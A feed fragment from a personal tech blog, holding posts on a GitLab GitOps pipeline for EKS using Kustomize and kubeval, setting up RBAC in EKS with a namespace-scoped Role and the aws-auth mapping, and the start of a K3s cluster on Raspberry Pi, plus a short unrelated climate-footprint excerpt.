<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Use this as base image for all jobs unless overriden</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">d</span><span style="color: light-dark(#22863A, #8DDB8C);">efault</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> m</span><span style="color: light-dark(#032F62, #96D0FF);">rkaran/eks-gitops:latest</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    e</span><span style="color: light-dark(#22863A, #8DDB8C);">ntrypoint</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/bin/sh</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-c</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">## Pipeline</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">tages</span><span>:</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">alidate</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">eploy</span></span></code></pre><h3 id="prepare-the-manifests">Prepare the manifests<a class="zola-anchor" href="#prepare-the-manifests" aria-label="Anchor link for: prepare-the-manifests">#</a></h3>
<p>I use <code>Kustomize</code> to prepare the manifests. Advantage of <code>Kustomize</code> is writing template free YAMLs but still be able to customise them heavily using overlays. For different environments, you can apply certain changes like increasing resource requests, adding more storage, while keeping the base same.</p>
<p>Here’s a folder structure (from a real GitOps repo) I follow for manifests:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">├──</span><span style="color: light-dark(#032F62, #96D0FF);"> base</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> deployments</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> app.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> celery.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> nginx.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> ingresses</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> web.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> kustomization.yaml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> services</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> app.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> nginx.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> redis-headless.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> statefulsets</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> │  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> volumes</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     └──</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">├──</span><span style="color: light-dark(#032F62, #96D0FF);"> kubekutter.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">├──</span><span style="color: light-dark(#032F62, #96D0FF);"> Makefile</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">├──</span><span style="color: light-dark(#032F62, #96D0FF);"> overlays</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> prod</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> configs</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> app-config.env</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     │  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> app-nginx.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> kustomization.env.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> namespace.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> patches</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> configure-configmap-volume.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     │  </span><span style="color: light-dark(#032F62, #96D0FF);"> ├──</span><span style="color: light-dark(#032F62, #96D0FF);"> modify-alb.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     │  </span><span style="color: light-dark(#032F62, #96D0FF);"> └──</span><span style="color: light-dark(#032F62, #96D0FF);"> resource-limits.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">│  </span><span style="color: light-dark(#032F62, #96D0FF);">     └──</span><span style="color: light-dark(#032F62, #96D0FF);"> rbac.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">└──</span><span style="color: light-dark(#032F62, #96D0FF);"> README.md</span></span></code></pre>
<p><strong>Shameless Plug</strong>: I created <code>kubekutr</code> which makes managing of these manifests using <code>kustomize</code> a breeze.</p>
<p>Some things to note here:</p>
<ul>
<li>Inside <code>base/</code>, I keep all the <code>base</code> resources required for the app to run. The resources can be <code>Service</code>, <code>Deployment</code>, <code>Ingress</code> etc.</li>
<li>Inside <code>overlays</code> there are multiple folders for different environment. This is very crucial as we want to separate the production config with a UAT config. Last-mile configuration to the base becomes very easy with this folder structure, since you only now need to build the manifests by targetting a specific folder in CI.</li>
<li>Inside <code>overlays/{env}/patches</code> are all the “patches” you want to do to the base resource. Think like replica count, ALB subnets (since different env can be in different VPCs), increasing resource limits and stuff like that.</li>
<li><code>rbac.yml</code> abd <code>namespace.yml</code> is the only missing piece because it’s like a chicken and egg problem. I cannot deploy directly (at first go) from a CI/CD if I don’t have a namespace created since the CD server is configured only has limited namespaced restricted access. So unless I create a namespace, add proper RBAC for the CD server I cannot do any deployments from CD. Note however this is only a first time step, which I guess is okay.</li>
</ul>
<h3 id="lint-yo-manifest">Lint yo manifest<a class="zola-anchor" href="#lint-yo-manifest" aria-label="Anchor link for: lint-yo-manifest">#</a></h3>
<p>I’m using <code>kubeval</code> to lint the manifests. The manifests have to prepared by <code>kustomize</code>. <code>CI_ENVIRONMENT_NAME</code> is set by <code>Gitlab</code> when you specify an environment for a job. Don’t sweat about this part, I’ll describe it more as we proceed.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Validate the yaml using kubeval</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">.</span><span style="color: light-dark(#22863A, #8DDB8C);">lint</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  e</span><span style="color: light-dark(#22863A, #8DDB8C);">xtends</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span><span style="color: light-dark(#032F62, #96D0FF);">prepare-manifest</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">tage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">alidate</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">cript</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> e</span><span style="color: light-dark(#032F62, #96D0FF);">cho &quot;Linting manifest for ${CI_ENVIRONMENT_NAME}&quot;</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> k</span><span style="color: light-dark(#032F62, #96D0FF);">ustomize build overlays/$CI_ENVIRONMENT_NAME --load_restrictor none | kubeval</span></span></code></pre><h3 id="setup-environment">Setup environment<a class="zola-anchor" href="#setup-environment" aria-label="Anchor link for: setup-environment">#</a></h3>
<p>You can define environment name as:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Create an environment to record all jobs for this env</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">.</span><span style="color: light-dark(#22863A, #8DDB8C);">prod</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span style="color: light-dark(#6F42C1, #F69D50);">prod</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">rod</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    u</span><span style="color: light-dark(#22863A, #8DDB8C);">rl</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> h</span><span style="color: light-dark(#032F62, #96D0FF);">ttps://prod.site</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">.</span><span style="color: light-dark(#22863A, #8DDB8C);">dev</span><span>:</span><span style="color: light-dark(#D73A49, #F47067);"> &amp;</span><span style="color: light-dark(#6F42C1, #F69D50);">dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">ev</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    u</span><span style="color: light-dark(#22863A, #8DDB8C);">rl</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> h</span><span style="color: light-dark(#032F62, #96D0FF);">ttps://dev.site</span></span></code></pre>
<p>Any job which is to be executed in a particular environment can include this variable and <code>CI_ENVIRONMENT_NAME</code> will be automatically set.</p>
<p>A cool feature of Gitlab is that you can restrict Variables scoped to the environment they are defined in.</p>
<h3 id="configure-secrets">Configure Secrets<a class="zola-anchor" href="#configure-secrets" aria-label="Anchor link for: configure-secrets">#</a></h3>
<p>All secrets are defined as Environment Variables in Gitlab CD pipeline. While running the job, the runner has access to these variables and with the help of <code>secretGenerator</code> in <code>kustomize</code>, the <code>Secret</code> is created.</p>
<p>I use <code>secretGenerator</code> because any time a K8s secret changes, kustomize appends with a new suffix, which makes the Replication Controller believe that they deployment has changed. So a new deployment is automatically triggered.</p>
<h3 id="authenticate-to-cluster">Authenticate to cluster<a class="zola-anchor" href="#authenticate-to-cluster" aria-label="Anchor link for: authenticate-to-cluster">#</a></h3>
<p>EKS uses aws-iam-authenticator and uses IAM access roles to allow the cluster to perform actions. Since this is a push based pipeline, you need to allow the access from your CD server to port 443.</p>
<h3 id="deploy-changes">Deploy changes<a class="zola-anchor" href="#deploy-changes" aria-label="Anchor link for: deploy-changes">#</a></h3>
<p>This is as simple as <code>kubectl apply</code> which configures all the changes and diff between cluster and real world state.</p>
<p>Here’s a full gitops repo if you’re interested in checking it out:</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Intro to RBAC in EKS]]></title>
            <link>https://mrkaran.dev/posts/intro-rbac-kubernetes/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/intro-rbac-kubernetes/</guid>
            <pubDate>Fri, 01 Nov 2019 12:40:55 GMT</pubDate>
            <description><![CDATA[EKS uses a custom authenticator tool called “aws-iam-authenticator”. The basic idea is to make the auth flow in EKS easier by using the tools you already use in AWS.

To wrap your head around the flow, consider three separate entities:
A kubernetes resource (entire namespace, specific pods/configs etc)
An action (get, watch, list, create, delete etc)
An IAM role/user created on AWS
Your usecase might be to give an IAM role access to a Kubernetes namespace for example with certain restricted actions.
Since K8s is basically client-server communication with the API server, we must need to perform the following two things for every single API request which goes to the control plane:
Authentication
kubectl talks to the API server using the token generated by aws-iam-authenticator. The API server passes on this info to the AWS servers which validated if the originating call is coming from a valid IAM user or not. If not, the access is denied from K8s.
Authorization
Once the IAM user is validated, the IAM user needs to be mapped to a user to perform Authorization so K8s API server can know whether the action/resource requested for is to be allowed or not. This is where the aws-auth-cm.yml comes into the picture. It is basically a map of all IAM users with internal K8s groups or users created. The roles are assosciated to these users/groups so once the mapping is done, K8s API server can know what to do with the API request.
How does EKS know my IAM?#
If you configured your KUBECONFIG correctly using aws eks update-kubeconfig then you’ll find the below lines in your config file. This basically runs a aws cli command to find your IAM user/role configured on your system to produce a token.
   exec:
      apiVersion: client.authentication.k8s.io/v1alpha1
      args:
      - token
      - -i
      - eks-zero-public
      command: aws-iam-authenticator
Show me the YAML already#
To create a Role and RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: coolapp
  name: fullaccess
rules:
- apiGroups: [""]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["apps"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["batch"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["extensions"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: ["autoscaling"]
  resources: ["*"]
  verbs: ["*"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: 10xdevs-fullaccess
  namespace: coolapp
subjects:
- kind: Group
  name: 10xdevs
  namespace: coolapp
roleRef:
  kind: Role
  name: fullaccess
  apiGroup: rbac.authorization.k8s.io
So, for all the normal folks who don’t grok YAML as fast as 10x devops engineers, I am basically creating a Role fullaccess with all permissions for a namespace coolapp (innovative, ikr). Then I am binding this Role to a Group called 10xdevs so that the group is allocated the role which has permissions. We will use this group 10xdevs to map our AWS user now.
To create the map of IAM Role/User ARN with the above Role
Edit your aws-auth-cm.yml and add the below stuff:
apiVersion: v1
kind: ConfigMap
metadata:
  name: aws-auth
  namespace: kube-system
data:
  mapRoles ... <skipping> ...

  mapUsers: |
    - userarn: arn:aws:iam::<account-id>:user/<user-name>
      username: 10xdevs-fullaccess # RoleBinding name created in previous step
      groups:
        - 10xdevs # Group name created in previous step
Verify it yourself#
kubectl auth can-i create pods --all-namespaces: should fail
kubectl auth can-i create pods -n coolapp: should work
Fin!]]></description>
            <content:encoded><![CDATA[<p>EKS uses a custom authenticator tool called “aws-iam-authenticator”. The basic idea is to make the auth flow in EKS easier by using the tools you already use in AWS.</p>
<p><img src="https://docs.aws.amazon.com/eks/latest/userguide/images/eks-iam.png" alt="eks-auth" /></p>
<p>To wrap your head around the flow, consider three separate entities:</p>
<ul>
<li>A kubernetes resource (entire namespace, specific pods/configs etc)</li>
<li>An action (get, watch, list, create, delete etc)</li>
<li>An IAM role/user created on AWS</li>
</ul>
<p>Your usecase might be to give an IAM role access to a Kubernetes namespace for example with certain restricted actions.</p>
<p>Since K8s is basically client-server communication with the API server, we must need to perform the following two things for every single API request which goes to the control plane:</p>
<ul>
<li><em>Authentication</em></li>
</ul>
<p><code>kubectl</code> talks to the API server using the token generated by <code>aws-iam-authenticator</code>. The API server passes on this info to the AWS servers which validated if the originating call is coming from a valid IAM user or not. If not, the access is denied from K8s.</p>
<ul>
<li><em>Authorization</em></li>
</ul>
<p>Once the IAM user is validated, the IAM user needs to be mapped to a user to perform Authorization so K8s API server can know whether the action/resource requested for is to be allowed or not. This is where the <code>aws-auth-cm.yml</code> comes into the picture. It is basically a map of all IAM users with internal K8s groups or users created. The roles are assosciated to these users/groups so once the mapping is done, K8s API server can know what to do with the API request.</p>
<h3 id="how-does-eks-know-my-iam">How does EKS know my IAM?<a class="zola-anchor" href="#how-does-eks-know-my-iam" aria-label="Anchor link for: how-does-eks-know-my-iam">#</a></h3>
<p>If you configured your <code>KUBECONFIG</code> correctly using <code>aws eks update-kubeconfig</code> then you’ll find the below lines in your config file. This basically runs a <code>aws cli</code> command to find your IAM user/role configured on your system to produce a token.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>   exec:</span></span>
<span class="giallo-l"><span>      apiVersion: client.authentication.k8s.io/v1alpha1</span></span>
<span class="giallo-l"><span>      args:</span></span>
<span class="giallo-l"><span>      - token</span></span>
<span class="giallo-l"><span>      - -i</span></span>
<span class="giallo-l"><span>      - eks-zero-public</span></span>
<span class="giallo-l"><span>      command: aws-iam-authenticator</span></span></code></pre><h3 id="show-me-the-yaml-already">Show me the YAML already<a class="zola-anchor" href="#show-me-the-yaml-already" aria-label="Anchor link for: show-me-the-yaml-already">#</a></h3>
<ul>
<li>To create a Role and RoleBinding</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>apiVersion: rbac.authorization.k8s.io/v1</span></span>
<span class="giallo-l"><span>kind: Role</span></span>
<span class="giallo-l"><span>metadata:</span></span>
<span class="giallo-l"><span>  namespace: coolapp</span></span>
<span class="giallo-l"><span>  name: fullaccess</span></span>
<span class="giallo-l"><span>rules:</span></span>
<span class="giallo-l"><span>- apiGroups: [&quot;&quot;]</span></span>
<span class="giallo-l"><span>  resources: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>  verbs: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>- apiGroups: [&quot;apps&quot;]</span></span>
<span class="giallo-l"><span>  resources: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>  verbs: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>- apiGroups: [&quot;batch&quot;]</span></span>
<span class="giallo-l"><span>  resources: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>  verbs: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>- apiGroups: [&quot;extensions&quot;]</span></span>
<span class="giallo-l"><span>  resources: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>  verbs: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>- apiGroups: [&quot;autoscaling&quot;]</span></span>
<span class="giallo-l"><span>  resources: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>  verbs: [&quot;*&quot;]</span></span>
<span class="giallo-l"><span>---</span></span>
<span class="giallo-l"><span>kind: RoleBinding</span></span>
<span class="giallo-l"><span>apiVersion: rbac.authorization.k8s.io/v1</span></span>
<span class="giallo-l"><span>metadata:</span></span>
<span class="giallo-l"><span>  name: 10xdevs-fullaccess</span></span>
<span class="giallo-l"><span>  namespace: coolapp</span></span>
<span class="giallo-l"><span>subjects:</span></span>
<span class="giallo-l"><span>- kind: Group</span></span>
<span class="giallo-l"><span>  name: 10xdevs</span></span>
<span class="giallo-l"><span>  namespace: coolapp</span></span>
<span class="giallo-l"><span>roleRef:</span></span>
<span class="giallo-l"><span>  kind: Role</span></span>
<span class="giallo-l"><span>  name: fullaccess</span></span>
<span class="giallo-l"><span>  apiGroup: rbac.authorization.k8s.io</span></span></code></pre>
<p>So, for all the normal folks who don’t grok YAML as fast as 10x devops engineers, I am basically creating a Role <code>fullaccess</code> with all permissions for a namespace <code>coolapp</code> (innovative, ikr). Then I am <code>binding</code> this Role to a Group called <code>10xdevs</code> so that the group is allocated the role which has permissions. We will use this group <code>10xdevs</code> to map our AWS user now.</p>
<ul>
<li>To create the map of IAM Role/User ARN with the above Role</li>
</ul>
<p>Edit your <code>aws-auth-cm.yml</code> and add the below stuff:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>apiVersion: v1</span></span>
<span class="giallo-l"><span>kind: ConfigMap</span></span>
<span class="giallo-l"><span>metadata:</span></span>
<span class="giallo-l"><span>  name: aws-auth</span></span>
<span class="giallo-l"><span>  namespace: kube-system</span></span>
<span class="giallo-l"><span>data:</span></span>
<span class="giallo-l"><span>  mapRoles ... &lt;skipping&gt; ...</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>  mapUsers: |</span></span>
<span class="giallo-l"><span>    - userarn: arn:aws:iam::&lt;account-id&gt;:user/&lt;user-name&gt;</span></span>
<span class="giallo-l"><span>      username: 10xdevs-fullaccess # RoleBinding name created in previous step</span></span>
<span class="giallo-l"><span>      groups:</span></span>
<span class="giallo-l"><span>        - 10xdevs # Group name created in previous step</span></span></code></pre><h3 id="verify-it-yourself">Verify it yourself<a class="zola-anchor" href="#verify-it-yourself" aria-label="Anchor link for: verify-it-yourself">#</a></h3>
<ul>
<li>
<p><code>kubectl auth can-i create pods --all-namespaces</code>: <em>should fail</em></p>
</li>
<li>
<p><code>kubectl auth can-i create pods -n coolapp</code>: <em>should work</em></p>
</li>
</ul>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[How dare you? Because, obviously…]]></title>
            <link>https://www.prashanthudupa.com/how-dare-you-because-obviously/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/how-dare-you-because-obviously/</guid>
            <pubDate>Thu, 03 Oct 2019 19:55:20 GMT</pubDate>
            <description><![CDATA[My carbon footprint is significant. I have driven bikes/cars that run on petrol for ~24 years now. I use flights almost 6-10 times a year. I have bought clothes knowing that they come covered in plastic. I have bought products...]]></description>
            <content:encoded><![CDATA[My carbon footprint is significant. I have driven bikes/cars that run on petrol for ~24 years now. I use flights almost 6-10 times a year. I have bought clothes knowing that they come covered in plastic. I have bought products...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Moments</category>
        </item>
        <item>
            <title><![CDATA[Kubernetes cluster on RPi]]></title>
            <link>https://mrkaran.dev/posts/home-server-setup/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/home-server-setup/</guid>
            <pubDate>Sun, 22 Sep 2019 02:40:55 GMT</pubDate>
            <description><![CDATA[So, I got hold of 2 Raspberry Pi4 (still limited stocks in India) recently and wanted to build a Kubernetes cluster. Don’t ask why cause that would be pointless. I’ve little experience with a managed Kubernetes workload (Amazon EKS, which btw deserves its post 😝) but never really played around any of the K8s internal stuff yet. In this post, I’ll show you how I got a lightweight Kubernetes distro: K3s up and running.
k3s is a pretty great Kubernetes distro which passes the K8s Conformance tests. On ARM architectures, you’re pretty much resource-bounded and you want the resource footprint of your infra to be as minimal as possible. In k3s there are a few changes such as the persistent layer of K8s is replaced with SQLite instead of etcd, unusable (legacy/alpha) features of K8s are removed and cloud-provider plugins are not bundled (but can be installed separately). All of this together means just 40MB of a binary to run the cluster and ~250MB of memory usage on an idle cluster. Awesome, team Rancher :)

Automation is the key and even though I have just 2 nodes on RPi, I Ansible-ized the setup which I am hoping would save time in future if I add more nodes to the setup.
Hardware#
1x RPi4 4GB and 1x RPi4 2GB variant
2x Samsung EVO micro SD Card
2x USBC Cables
1x Amker Power Port (don’t compromise on the power supply, give enough juice so RPi doesn’t throttle)
1x TP-Link Network Switch (my router has only 1 usable LAN port)
2x CAT5 LAN cables (keeping it basic, you can get fancy flat LAN cables if you wish to)
This is how the final setup looks like:
{{< tweet 1175659256764219392 >}}
Setting up RPi#
I downloaded Raspbian Buster Lite because it’s the easiest to setup. Next step is to flash the SD card and for that, I used Etcher.

To enable SSH access, you need to create an empty file ssh in the root volume.
sudo touch /boot/ssh
Once all sorted, we can use Ansible to set up the basic OS stuff, like changing the default password, enabling password-less SSH login, timezone & locale settings, changing hostname etc. I’ll be sharing relevant Ansible snippets, if interested you can check out the complete playbook at mr-karan/hydra repo.
We need to enable container features on the RPi so that containerd can run. Containers like Docker make use of cgroups (Linux kernel feature) which allows them to put resource limits on container processes like CPU and Memory. To enable cgroups, you need to edit /boot/cmdline.txt.
- name: Add cgroup directives to boot command line config
  lineinfile:
    path: /boot/cmdline.txt
    regexp: '((.)+?)(\scgroup_\w+=\w+)*$'
    line: '\1 cgroup_enable=cpuset cgroup_memory=1 cgroup_enable=memory'
    backrefs: yes
Quick Tip: If you’re going to use RPi as a headless server (not connecting with any monitor) you can reduce the GPU Memory to lowest possible (16M)
- name: Set GPU memory split to 16 MB
  lineinfile:
    path: /boot/config.txt
    line: "gpu_mem=16"
    create: yes
Deploy K3s cluster#
